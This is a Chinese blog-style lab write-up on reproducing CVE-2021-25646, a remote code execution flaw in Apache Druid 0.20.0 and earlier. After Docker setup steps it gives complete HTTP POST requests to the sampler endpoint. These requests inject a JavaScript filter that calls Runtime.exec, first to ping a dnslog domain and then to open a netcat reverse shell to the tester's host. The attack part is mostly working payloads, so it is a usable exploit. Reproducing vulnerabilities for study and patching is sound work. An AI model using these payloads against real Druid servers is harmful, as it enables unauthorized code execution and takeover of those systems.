Apache Druid 远程代码执行漏洞( CVE-2021-25646)

描述 Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码,此功能在用于高信任度环境中,默认已被禁用。但是,在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。

环境配置

kali 环境配置

安装https协议、CA证书、dirmngr

apt-get update

apt-get install -y apt-transport-https ca-certificates

apt-get install dirmngr

添加GPG密钥并添加更新源

curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

echo 'deb Index of /docker-ce/linux/debian/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror buster stable' | sudo tee /etc/apt/sources.list.d/docker.list

系统更新以及安装docker

apt-get update&&apt install docker-ce

启动docker服务器 和compose

service docker start || apt install docker-compose

访问网址 192.168.1.12:8888

点击Load data -> Local disk

 

依次填入 Base directory: quickstart/tutorial File filter: wikiticker-2015-09-12-sampled.json.gz

 

默认点击next 直到fiflter之前开启代理

漏洞验证(dnslog)

POST /druid/indexer/v1/sampler HTTP/1.1

Host: 192.168.191.128:8888

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0

Accept: application/json, text/plain, /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: application/json

Content-Length: 1002

Connection: close

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping -c 4 fq3myc.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

burp抓包

 

dnslog 验证结果

 

漏洞利用(nc 反弹shell)

POST /druid/indexer/v1/sampler HTTP/1.1

Host: 192.168.191.128:8888

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0

Accept: application/json, text/plain, /

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: application/json

Content-Length: 1005

Connection: close

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.1.12 7777 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

 

nc 反弹结果

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值